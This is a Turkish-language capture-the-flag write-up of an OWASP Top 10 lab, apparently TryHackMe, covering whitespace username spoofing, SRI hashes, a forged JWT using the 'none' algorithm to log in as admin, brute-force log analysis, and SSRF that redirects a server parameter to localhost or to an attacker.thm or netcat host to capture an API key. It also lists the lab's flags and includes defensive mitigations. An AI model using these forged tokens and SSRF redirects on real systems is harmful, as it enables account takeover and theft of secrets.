Bayrak Yakalamaca

  • 8088 portuna gidip Çağrı Mert Bakırcı gibi bir bakış atalım:

  • Üye olmaya çabalayalım:

  • Bu kullanıcı zaten var dedi:

  • Bahsedildiği gibi darren yerine ` darren` olarak kaydolmaya çalışalım:

  • Başarıyla kaydolabiliyoruz:

    Çünkü sistemi kodlayanlar .strip() dediğimiz string’lerin sonundaki gereksiz boşlukları silmeye yarayan fonksiyondan bihaber.

  • Şimdi yine başına bir boşluk koyarak giriş yapmaya çalışalım:

  • Giriş başarılı:

    Bayrağı yakaladık: fe86079416a21a3c99937fea8874b667

  • Aynısını arthur için de yapalım:

    Bayrağı yakaladık: d9ac0f7db4fda460ac3edeb75d75e16e

Önleme Yöntemleri

  1. strip() Kullanımını Doğru Şekilde Uygulamak
    • Kullanıcı adı girildiğinde, hem baştaki hem de sondaki boşluklar kaldırılmalıdır:
      1
      
      username = username.strip()
      
  2. Kullanıcı Adlarını Normalize Etmek
    • Tüm kullanıcı adlarını küçük harfe çevirerek veya standart bir formatta tutarak tekrar eden kayıtları önleyebilirsin:
      1
      
      username = username.strip().lower()
      
  3. Giriş Yaparken de Aynı Filtreyi Uygulamak
    • Kullanıcı adı kaydedilirken nasıl işleniyorsa, giriş yaparken de aynı işlemler uygulanmalıdır:
      1
      
      input_username = input_username.strip().lower()
      
  4. Veritabanında Benzersiz Kullanıcı Adı Kontrolü
    • Veritabanında boşluk eklenerek oluşturulan kullanıcı adlarını engellemek için bir indeksleme kullanabilirsin:
      1
      
      CREATE UNIQUE INDEX unique_username ON users (TRIM(username));
      
    • Alternatif olarak, kayıt sırasında kullanıcı adıyla ilgili fazladan kontroller eklenebilir.
  5. Düzenli İfade (Regex) ile Kullanıcı Adı Doğrulaması
    • Kullanıcı adının yalnızca belirli karakterleri içermesini sağlamak için bir regex filtresi uygulanabilir:
      1
      2
      3
      
      import re
      if not re.match(r"^[a-zA-Z0-9_]+$", username):
          raise ValueError("Geçersiz kullanıcı adı!")
      
    • Bu, boşluk veya özel karakterlerle oynayarak sistemin kandırılmasını engeller.
  6. Boşluk ve Özel Karakterleri Engellemek
    • Kullanıcı adının başında veya sonunda boşluk olup olmadığını kontrol eden bir doğrulama eklenebilir:
      1
      2
      
      if username != username.strip():
          raise ValueError("Kullanıcı adı başında veya sonunda boşluk içeremez!")
      
  7. SQL ve Uygulama Katmanında Çift Kontrol
    • Veritabanına yazılmadan önce, hem uygulama katmanında hem de veritabanı seviyesinde bu tür kontrollerin yapılması güvenliği artırır.
  8. Kullanıcı Adlarını Loglama ve Anomalileri Tespit Etme
    • Sistem, benzer isimlere sahip şüpheli kullanıcı kayıtlarını tespit ederek yöneticilere bildirim gönderebilir.

Bu yöntemleri kullanarak, boşluk bazlı kullanıcı adı sahtekarlığını ve benzeri hataları önleyebiliriz.

Görev 18: 🛑 Software and Data Integrity Failures

Bütünlük Nedir?

Bütünlük, bir verinin değişmeden kaldığını doğrulama yeteneğimizi ifade eder. Siber güvenlikte bütünlük, önemli verilerin istenmeyen veya kötü niyetli değişikliklerden korunmasını sağlamak açısından kritik bir öneme sahiptir. Örneğin, bir uygulamanın en son kurulum dosyasını indirdiğinizi düşünün. Bu dosyanın indirilirken değişmediğinden veya bir iletim hatası yüzünden bozulmadığından nasıl emin olabilirsiniz?

Bu sorunu çözmek için, genellikle dosyanın yanında bir hash (özet) gönderilir. Böylece indirdiğiniz dosyanın bütünlüğünü koruyup korumadığını ve transit sırasında değişmediğini doğrulayabilirsiniz. Hash veya özet, bir veri parçasına belirli bir algoritma uygulandığında ortaya çıkan bir sayıdır. Hash algoritmaları hakkında bilgi alırken sıkça MD5, SHA1, SHA256 gibi terimlerle karşılaşırsınız.

WinSCP örneği üzerinden, hash’lerin bir dosyanın bütünlüğünü kontrol etmek için nasıl kullanıldığını daha iyi anlayabiliriz. WinSCP’nin Sourceforge deposuna giderseniz, her indirilebilir dosyanın yanında yayınlanmış hash’ler görürsünüz:

WinSCP Hash’leri

Bu hash’ler, WinSCP’nin yaratıcıları tarafından önceden hesaplanmıştır. Böylece dosyayı indirdikten sonra bütünlüğünü kontrol edebilirsiniz. Örneğin, WinSCP-5.21.5-Setup.exe dosyasını indirirsek, hash’leri yeniden hesaplayıp Sourceforge’da yayınlananlarla karşılaştırabiliriz. Linux’ta farklı hash’leri hesaplamak için şu komutları kullanabiliriz:

1
2
3
4
5
6
7
8
user@attackbox$ md5sum WinSCP-5.21.5-Setup.exe
20c5329d7fde522338f037a7fe8a84eb  WinSCP-5.21.5-Setup.exe

user@attackbox$ sha1sum WinSCP-5.21.5-Setup.exe
c55a60799cfa24c1aeffcd2ca609776722e84f1b  WinSCP-5.21.5-Setup.exe

user@attackbox$ sha256sum WinSCP-5.21.5-Setup.exe
e141e9a1a0094095d5e26077311418a01dac429e68d3ff07a734385eb0172bea  WinSCP-5.21.5-Setup.exe

Elde ettiğimiz hash’ler aynı olduğu için, indirdiğimiz dosyanın web sitesindeki dosyanın tam bir kopyası olduğunu güvenle söyleyebiliriz.

Yazılım ve Veri Bütünlüğü Hataları

Bu tür bir güvenlik açığı, yazılım veya verilerin herhangi bir bütünlük kontrolü yapılmadan kullanıldığı kod veya altyapılardan kaynaklanır. Bütünlük doğrulaması yapılmadığında, bir saldırgan yazılıma veya uygulamaya aktarılan verileri değiştirebilir ve bu da beklenmeyen sonuçlara yol açabilir. Bu kategoride başlıca iki tür güvenlik açığı bulunur:

  • Yazılım Bütünlüğü Hataları
  • Veri Bütünlüğü Hataları

Görev 19: Yazılım Bütünlüğü Hataları

Nedir?

Diyelim ki bir web siteniz var ve bu site, kontrolünüz dışında olan harici sunucularda barındırılan üçüncü taraf kütüphaneleri kullanıyor. Bu kulağa biraz garip gelebilir, ancak bu oldukça yaygın bir uygulamadır. Örneğin, yaygın olarak kullanılan bir JavaScript kütüphanesi olan jQuery’yi ele alalım. İsterseniz, jQuery’yi kendi sunucunuza indirmeden, doğrudan onların sunucularından web sitenize şu HTML kodunu ekleyerek dahil edebilirsiniz:

1
<script src="https://code.jquery.com/jquery-3.6.1.min.js"></script>

Bir kullanıcı web sitenize girdiğinde, tarayıcısı sitenizin HTML kodunu okuyacak ve jQuery’yi belirtilen harici kaynaktan indirecektir.

Bütünlük Kontrolü Olmadan JS

Sorun şu ki, eğer bir saldırgan jQuery’nin resmi deposuna (örneğin https://code.jquery.com/jquery-3.6.1.min.js) sızıp içeriğini değiştirirse, kötü niyetli kod enjekte edebilir. Bu durumda, web sitenizi ziyaret eden herkes farkında olmadan bu kötü niyetli kodu indirir ve tarayıcısında çalıştırır. Bu, bir yazılım bütünlüğü hatasıdır çünkü web siteniz, üçüncü taraf kütüphanenin değişip değişmediğini kontrol etmez. Modern tarayıcılar, kütüphanenin URL’si ile birlikte bir hash belirtebilmenize olanak tanır; böylece indirilen dosyanın hash’i beklenen değere uyuyorsa kütüphane kodu çalıştırılır. Bu güvenlik mekanizmasına Alt Kaynak Bütünlüğü (Subresource Integrity - SRI) denir ve detaylarını buradan okuyabilirsiniz.

Kütüphaneyi HTML kodunuza doğru şekilde eklemenin yolu, SRI kullanarak bir bütünlük hash’i eklemektir. Böylece bir saldırgan kütüphaneyi değiştirse bile, web sitenizi ziyaret eden istemciler bu değiştirilmiş sürümü çalıştırmaz. HTML’de bu şu şekilde görünmelidir:

1
2
3
<script src="https://code.jquery.com/jquery-3.6.1.min.js" 
        integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" 
        crossorigin="anonymous"></script>

Gerekirse herhangi bir kütüphane için hash oluşturmak üzere https://www.srihash.org/ adresine gidebilirsiniz.

Bayrak Yakalamaca

  • Adrese gidip oluşturalım:

    1
    
    <script src="https://code.jquery.com/jquery-1.12.4.min.js" integrity="sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=" crossorigin="anonymous"></script>
    
  • Bayrağımız sha256 anahtarı: sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=

Görev 20: Veri Bütünlüğü Hataları

Web uygulamalarının oturumları nasıl yönettiğini düşünelim. Genellikle, bir kullanıcı bir uygulamaya giriş yaptığında, tarayıcısında oturum süredikçe saklanması gereken bir oturum belirteci ( session token) atanır. Bu belirteç, kullanıcı her istekte bulunduğunda tekrarlanarak web uygulamasının kullanıcıyı tanımasını sağlar. Bu belirteçler çeşitli formlarda olabilir, ancak genellikle çerezler (cookies) kullanılarak atanır.

Çerezler, web uygulamalarının kullanıcının tarayıcısında sakladığı ve her istekte otomatik olarak sunucuya gönderilen anahtar-değer ( key-value) çiftleridir.

Cookies

Örneğin, bir web posta uygulaması geliştiriyorsanız, oturum açan her kullanıcıya içinde kullanıcı adını saklayan bir çerez atayabilirsiniz. Daha sonraki isteklerde, tarayıcı bu çerezi her seferinde sunucuya göndererek kullanıcının kim olduğunu belirtir. Ancak bu kötü bir fikir olurdu, çünkü çerezler tarayıcıda saklandığı için kullanıcı bu değerleri değiştirebilir. Kullanıcı, çerezi değiştirerek başka bir kullanıcının hesabına erişim sağlayabilir. Bu da veri bütünlüğü hatasına ( data integrity failure) yol açar.

Bu sorunun bir çözümü, çerezin değiştirilmediğini garantileyen bir bütünlük mekanizması kullanmaktır. Bunun için bütün kriptografik hesaplamaları bizim için yapan hazır bir belirteç ( token) kullanabiliriz. Bu noktada JSON Web Tokens (JWT) devreye girer.

JWT (JSON Web Tokens) Nedir?

JWT, kullanıcılara veri bütünlüğünü garanti eden basit bir belirteç sistemidir. Kullanıcılara bir token oluşturup vererek, içeriğindeki değerlerin değiştirilemeyeceğini ve sistem tarafından doğrulanabileceğini garanti ederiz. JWT, 3 bölümden oluşur:

JWT Yapısı

  1. Header (Başlık): JWT olduğunu ve kullanılan imzalama algoritmasını belirtir.
  2. Payload (Yük): Kullanıcı hakkında anahtar-değer bilgilerinin saklandığı bölüm.
  3. Signature (İmza): Payload’un değişmediğini doğrulamak için kullanılan özel bir imza.

JWT’ler Base64 formatında kodlanmış basit metinlerdir. Aşağıdaki JWT token’ının başlık ve yük kısmını Base64 çözücüyü ile değiştirebilir ve okuyabilirsiniz:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjY1MDc2ODM2fQ.C8Z3gJ7wPgVLvEUonaieJWBJBYt5xOph2CpIhlxqdUw

JWT ve None Algoritma Açığı

Bazı JWT kütüphanelerinde bir veri bütünlüğü hatası ( data integrity failure) mevcuttu. JWT’lerin bütünlüğünü doğrulamak için imza kullanıldığını gördük, ancak bazı eski JWT kütüphaneleri, imza kontrolünü atlatmaya izin veriyordu. Bir siber saldırgan, aşağıdaki adımları uygulayarak JWT imza kontrolünü atlatabilirdi:

  1. JWT’nin başlık (header) kısmında alg değerini none olarak değiştirmek.
  2. JWT’nin imza (signature) kısmını tamamen kaldırmak.

Bu sayede sistem, token’ın imza doğrulamasını yapmaz ve saldırgan istedikleri payload’u oluşturarak güvenliği ihlal edebilir.

JWT None Algoritması

Bir saldırgan, başka bir kullanıcının hesabına erişim sağlamak için bu açığı kötüye kullanabilir.

Bayrak Yakalamaca

  • Bu zaafiyeti test etmek ve detaylı incelemek için 8089 portuna gidelim:

    1

  • guest ve 123 olarak giriş yapmaya çalışalım:

    2

  • guest ve guest olarak gir dedi. Yapalım:

    2

  • jwt-session adında bir cookie görünüyor. Bunu manipüle etmeye çalışalım:

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzQxMTc5ODUwfQ.Jzbt-zFXcUU5G9UfV0RAek_a-6uZPFYyyygkKq6KkeQ

  • Bilgilere dayanarak son noktadan sonraki kısım imza kısmı. Gereksiz olduğu için çıkaralım:

    Jzbt-zFXcUU5G9UfV0RAek_a-6uZPFYyyygkKq6KkeQ kısmını kaldırınca:

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzQxMTc5ODUwfQ olarak ulaşırız.

  • Base64 Decode kullanarak decode edelim:

    1
    
    {"typ":"JWT","alg":"HS256"}{"username":"guest","exp":1741179850}
    
  • alg kısmını none yapalım ve username kısmını admin olarak değiştirelim:

    1
    
    {"typ":"JWT","alg":"none"}{"username":"admin","exp":1741179850}
    
  • ayrı ayrı encode edelim. Önce {"typ":"JWT","alg":"none"}:

    3

    eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=

  • Şimdi {"username":"admin","exp":1741179850}:

    4

    eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQxMTc5ODUwfQ==

  • Bulduğumuz değerleri nokta ile birleştirelim: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQxMTc5ODUwfQ==

  • Sonuna imzayı ekleyelim: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQxMTc5ODUwfQ==.

    JWT formatı üç parçalı olmalıdır. İmza kısmı boş olsa bile, format gereği üçüncü bir kısım olmalı. Bu yüzden, geçerli bir JWT formatı oluşturabilmek için sona bir nokta ekliyoruz. Böylece tarayıcı veya sunucu JWT’nin üç parçadan oluştuğunu görüp işleyebilir.

  • F12’den jwt-session çerezinin değerine yapıştıralım:

    5

    Bayrağı yakaladık: THM{Dont_take_cookies_from_strangers}

Görev 21: 🛑 Security Logging and Monitoring Failures

Güvenlik Kayıtları ve İzleme Hataları Nedir?

Web uygulamaları kurulduğunda, kullanıcı tarafından yapılan her eylem kaydedilmelidir. Kayıt tutma, bir olay meydana geldiğinde saldırganların eylemlerinin izlenebilmesi için önemlidir. Saldırganların eylemleri izlendikten sonra, bunların riski ve etkisi belirlenebilir. Kayıt tutma olmadığında, saldırganlar belirli web uygulamalarına erişim sağladığında hangi eylemleri gerçekleştirdiklerini anlamanın bir yolu olmaz. Bu durumun daha büyük etkileri şunlardır:

  • Düzenleyici zarar: Eğer bir saldırgan kişisel olarak tanımlanabilir kullanıcı bilgilerine erişim sağlamışsa ve bunun kaydı tutulmamışsa, nihai kullanıcılar etkilenebilir ve uygulama sahipleri, düzenlemelere bağlı olarak cezalar veya daha ciddi yaptırımlarla karşılaşabilir.
  • Diğer saldırılar riski: Kayıt tutma yoksa, bir saldırganın varlığı tespit edilmemiş olabilir. Bu da saldırganın, kimlik bilgilerini çalma, altyapıyı hedef alma gibi yeni saldırılar başlatmasına olanak tanıyabilir.

Kayıtlarda tutulan bilgiler şunları içermelidir:

  • HTTP durum kodları
  • Zaman damgaları
  • Kullanıcı adları
  • API uç noktaları / sayfa konumları
  • IP adresleri

Bu kayıtlar hassas bilgiler içerdiği için güvenli bir şekilde saklanmalı ve bu kayıtların farklı yerlerde birden fazla kopyası tutulmalıdır.

Yukarıda belirttiğimiz gibi, kayıt tutma, bir ihlal veya olay meydana geldikten sonra daha da önemlidir. İdeal durumda, şüpheli etkinliği tespit etmek için izleme sistemlerinin olması gerekir. Şüpheli etkinliği tespit etmenin amacı, saldırganı tamamen durdurmak veya saldırganın varlığı daha geç fark edilse bile yaptığı etkinin etkisini azaltmaktır. Şüpheli etkinlik örnekleri şunlar olabilir:

  • Belirli bir eylem için birden fazla yetkisiz deneme (genellikle kimlik doğrulama denemeleri veya yetkisiz kaynaklara erişim, örneğin yönetici sayfalarına)
  • Anormal IP adreslerinden veya konumlardan yapılan istekler: bu, birinin belirli bir kullanıcının hesabına erişmeye çalıştığını gösterebilir ancak yanlış pozitif oranı da olabilir.
  • Otomatik araç kullanımı: belirli otomatik araçlar kolayca tespit edilebilir, örneğin User-Agent başlıklarının değeri veya isteklerin hızı. Bu, bir saldırganın otomatik araç kullanıyor olabileceğini gösterebilir.
  • Yaygın yükler: web uygulamalarında, saldırganların yaygın yükler kullanması yaygındır. Bu yüklerin tespiti, uygulamalara yetkisiz/malicious testler yapıldığını gösterebilir.

Sadece şüpheli etkinlikleri tespit etmek yeterli değildir. Bu şüpheli etkinliklerin, etki seviyelerine göre değerlendirilmesi gerekir. Örneğin, bazı eylemler diğerlerine göre daha yüksek etkiye sahiptir. Bu yüksek etkiye sahip eylemler, daha hızlı yanıt verilmesi gerektiğinden, alarm durumuna geçmeli ve ilgili kişilerin dikkatini çekmelidir.

Bu bilgileri pratikte kullanmak için sağlanan örnek kayıt dosyasını analiz edebilirsiniz. Dosyayı indirmek için görevin üst kısmındaki Download Task Files butonuna tıklayabilirsiniz.

Bayrak Yakalamaca

  • Bize verilen dosyayı indirip içine bakalım:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    200 OK           12.55.22.88 jr22          2019-03-18T09:21:17 /login
    200 OK           14.56.23.11 rand99        2019-03-18T10:19:22 /login
    200 OK           17.33.10.38 afer11        2019-03-18T11:11:44 /login
    200 OK           99.12.44.20 rad4          2019-03-18T11:55:51 /login
    200 OK           67.34.22.10 bff1          2019-03-18T13:08:59 /login
    200 OK           34.55.11.14 hax0r         2019-03-21T16:08:15 /login
    401 Unauthorised 49.99.13.16 admin         2019-03-21T21:08:15 /login
    401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
    401 Unauthorised 49.99.13.16 anonymous     2019-03-21T21:08:25 /login
    401 Unauthorised 49.99.13.16 root          2019-03-21T21:08:30 /login
    
  • Bu logda, özellikle 49.99.13.16 IP adresinden yapılan bir dizi başarısız giriş denemesi dikkat çekiyor:

    • admin kullanıcısı: 2019-03-21 21:08:15
    • administrator kullanıcısı: 2019-03-21 21:08:20
    • anonymous kullanıcısı: 2019-03-21 21:08:25
    • root kullanıcısı: 2019-03-21 21:08:30
  • Bu, aynı IP adresinden gelen ardışık başarısız giriş denemelerinin genellikle brute force saldırılarının tipik bir belirtisi olduğunu gösterir. Bir saldırgan, yaygın kullanıcı adları (örneğin, admin, administrator, root) ile şifre tahmin etmeye çalışıyor olabilir. Brute force saldırıları zaman alıcıdır ancak doğru şifreyi bulana kadar devam ederler.

  • Bu tür bir saldırıya karşı önlem almak için şu adımlar önerilebilir:

    1. Hesap kilitleme mekanizmaları: Başarısız giriş denemelerinin belirli bir sayıya ulaştığında hesabı geçici olarak kilitlemek.
    2. CAPTCHA kullanımı: Otomatik giriş denemelerini engellemek için CAPTCHA doğrulaması eklemek.
    3. Güçlü şifreler: Kullanıcıların daha güçlü ve karmaşık şifreler kullanmalarını sağlamak.
    4. İki faktörlü kimlik doğrulama (2FA): Kullanıcıların giriş yaparken bir ek doğrulama katmanı kullanmalarını sağlamak.
    5. IP engelleme veya rate limiting: Aşırı giriş denemeleri yapılan IP adreslerini engellemek veya sınırlamak.

Görev 22: 🛑 Server-Side Request Forgery (SSRF)

SSRF (Sunucu Taraflı İstek Sahteciliği), bir saldırganın web uygulamasını kullanarak kendi adına istekte bulunmasını ve bu isteğin içeriğini kontrol etmesini sağlayan bir güvenlik açığıdır. Bu tür açıklar genellikle, web uygulamalarının üçüncü taraf servisleri kullanması gerektiğinde ortaya çıkar.

SSRF Nedir?

Örneğin, bir web uygulamasının müşterilere SMS bildirimleri göndermek için harici bir API kullandığını düşünelim. Bu işlem için uygulama, SMS sağlayıcısına bir web isteği gönderir. Ancak, SMS sağlayıcıları her mesaj için ücret talep ettiği için, her istekte bir API anahtarı (gizli anahtar) kullanılmasını zorunlu kılar. Bu anahtar, kimin faturalandırılacağını belirlemek için gereklidir.

Aşağıdaki diyagram, bu sürecin nasıl çalıştığını göstermektedir:

SSRF

Diyagrama dikkatlice baktığımızda, güvenlik açığının nerede olduğunu anlayabiliriz. Uygulama, kullanıcıların server parametresini değiştirmesine izin vermektedir. Eğer bir saldırgan bu parametreyi değiştirirse, SMS isteği saldırganın kontrolündeki bir sunucuya yönlendirilir. Böylece, saldırgan API anahtarını ele geçirerek SMS servisini kendi çıkarı için kullanabilir.

Örneğin, saldırgan aşağıdaki gibi bir istekte bulunabilir:

1
https://www.mysite.com/sms?server=attacker.thm&msg=ABC

Bu istek sonucunda, web uygulaması aşağıdaki isteği yapacaktır:

1
https://attacker.thm/api/send?msg=ABC

Saldırgan, Netcat kullanarak bu isteğin içeriğini yakalayabilir:

1
2
3
4
5
6
7
user@attackbox$ nc -lvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.1.236 43830
GET /:8087/public-docs/123.pdf HTTP/1.1
Host: 10.10.10.11
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*

SSRF’nin Daha Tehlikeli Kullanımları

Bu örnek basit bir SSRF saldırısıdır. Ancak, SSRF çok daha ciddi güvenlik tehditlerine yol açabilir:

  • Dahili Ağları Keşfetme: Özel IP adresleri ve açık portları tespit edebilir.
  • Güvenilir Sunucular Arasındaki Güveni Kötüye Kullanma: Yetkisiz hizmetlere erişim sağlayabilir.
  • Uzak Kod Çalıştırma (RCE): HTTP dışındaki bazı hizmetlerle etkileşime geçerek sistem üzerinde kod çalıştırabilir.

Pratik Örnek

Şimdi bir uygulamada SSRF açığını nasıl kullanabileceğimizi görelim.

  1. Makineye Bağlanın:
    8087 portuna giderek web uygulamasına erişin.

  2. Uygulamayı İnceleyin:
    Sayfaları keşfederek admin panelini bulun.

  3. Erişim Sağlayın:
    Soruları takip ederek admin paneline erişim elde edin.

Bu adımları takip ederek, SSRF açıklarının nasıl çalıştığını ve nasıl kötüye kullanılabileceğini öğrenebilirsiniz.

Bayrak Yakalamaca

1. Port 8087’ye Gidiş ve CV İndirme Butonu

İlk olarak, 8087 numaralı porta eriştiğimizde, bir CV indirme butonu görüyoruz. Bu butonun URL’sini incelediğimizde, genellikle dış bir sunucuya (host) bağlantı yapılması gerektiğini görüyoruz:

Ekran

İlgili URL:

1
http://10.10.138.247:8087/download?server=secure-file-storage.com:8087&id=75482342

Bu URL, secure-file-storage.com hostuna bağlanıp dosya indirmeyi amaçlıyor. Ancak burada bize sunulan buton, bu isteği yönlendirebilecek bir mekanizma barındırıyor.

2. Admin Paneline Erişim

Port 8087’de karşımıza çıkan bir diğer şey ise bir admin paneli. Bu panelde tıkladığımızda, bir uyarı ile karşılaşıyoruz:

Ekran

3. Lokal Host Erişim Uyarısı

Admin paneline tıklanıp URL’yi açmak istediğimizde, karşımıza şu uyarıyı görüyoruz:

Ekran

Uyarı mesajı:

1
Sadece lokal hosttan erişebilirsin

Bu uyarı, yalnızca localhost (yerel makine) üzerinden erişilebilecek bir admin paneline işaret ediyor. Yani dışarıdan bir bağlantı yapılması engelleniyor. Bu tür bir sınırlama, genellikle uygulamanın güvenliğini artırmak amacıyla yapılır.

4. Netcat ile Yerel Port Açma ve İstek Dinleme

Bununla birlikte, burada yapılabilecek bir manipülasyon var. URL parametrelerini değiştirerek, isteği kendi yerel makinemize yönlendirebiliriz. Örneğin:

İlk başta verilen URL:

1
http://10.10.138.247:8087/download?server=secure-file-storage.com:8087&id=75482342

Manipülasyon:

Bu URL’yi şu şekilde değiştiriyoruz:

1
http://10.10.138.247:8087/download?server=localhost:8087/admin%23&id=75482342

Burada yaptığımız şey, server parametresini localhost:8087 olarak değiştiriyoruz. Bu şekilde, dosya indirme işlemi localhost üzerinden gerçekleşecek ve admin paneline bağlanmaya çalışacak.

Şimdi, netcat kullanarak kendi bilgisayarımızda 8087 portunu dinliyoruz. Bunun için şu komutu kullanıyoruz:

1
2
3
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 8087
listening on [any] 8087 ...

Bu komut, yerel makinemizde 8087 numaralı portu dinlemeye başlar.

5. Yerel Port Dinleme (Netcat) ve Bayrak Çıkışı

Netcat dinlemede iken, manipüle edilmiş URL‘yi tıklıyoruz. Sonuç olarak, localhost:8087 üzerinden bir istek yapılacak ve biz bu isteği netcat ile dinleyeceğiz. İstek başarıyla geldikten sonra aşağıdaki bayrağı görüyoruz:

Ekran

1
The flag is thm{c4n_i_haz_flagz_plz?}

Bayrağı yakaladık: thm{c4n_i_haz_flagz_plz?}

Bu, netcat aracılığıyla gelen veriyi dinleyerek elde ettiğimiz ilk bayraktır.

6. Netcat ile İsteği Görüntüleme (Bağlantı ve Bayrak)

Eğer netcat aracılığıyla gelen isteği görmek istersek, URL’yi manipüle ederek doğrudan kendi IP adresimize yönlendirebiliriz. Bu sefer server parametresine kendi IP adresimizi gireceğiz.

CV PDF’ini indirmek için kullandığımız URL:

1
http://10.10.138.247:8087/download?server=localhost:8087/admin%23&id=75482342

Manipüle edilmiş URL:

1
http://10.10.138.247:8087/download?server=10.23.71.244:8087/admin%23&id=75482342

Burada, 10.23.71.244 IP adresini, yani yerel makinemizin IP adresini kullanıyoruz.

Netcat ile dinlemeye devam edelim:

1
2
3
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 8087
listening on [any] 8087 ...

Gelen istek şu şekilde görünüyor:

Ekran

1
2
3
4
5
6
connect to [10.23.71.244] from (UNKNOWN) [10.10.138.247] 46694
GET /admin HTTP/1.1
Host: 10.23.71.244:8087
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}

Burada dikkat edilmesi gereken birkaç şey var:

  • İstek, /admin yoluna yapılmış.
  • İstek başlıklarında X-API-KEY parametresi var ve bu parametre, bir API anahtarı içeriyor.

Bayrağı yakaladık: THM{Hello_Im_just_an_API_key}

Bu, netcat ile dinlediğimiz bağlantıdan elde ettiğimiz ikinci bayraktır.

Notlar

  • Bu yazıda, OWASP Top 10 2021 listesinde yer alan en yaygın ve kritik güvenlik açıklarını ele aldım. Her bir güvenlik açığının ne olduğunu, nasıl ortaya çıktığını ve nasıl istismar edilebileceğini örneklerle açıkladım.

  • Ayrıca, bu güvenlik açıklarına karşı alınabilecek önlemleri de birazcık gösterdim. Güvenlik açıklarını anlamak ve bunlara karşı önlem almak, web uygulamalarının güvenliğini sağlamak için kritik öneme sahiptir.

  • Bu rehberin, güvenlik uzmanları ve geliştiriciler için faydalı bir kaynak olmasını umuyorum. Unutmayın, güvenlik sürekli bir süreçtir ve her zaman güncel kalmak önemlidir. O programını güncelle karşim. SıKıNtI OlaR!

  • Seviyeleri bitirdikten sonra, gidip video çekin, not alın, gidip siz de makale şeklinde yazın. Benden daha da güzelini yapın. Daha da açıklayıcı olun. Bunları yapmayacaksanız gidin kafanızı çöp kutusuna sokun daha iyi.

  • Yeni yazıda ya da projede görüşmek dileğiyle, esenlikler…

This post is licensed under CC BY 4.0 by the author.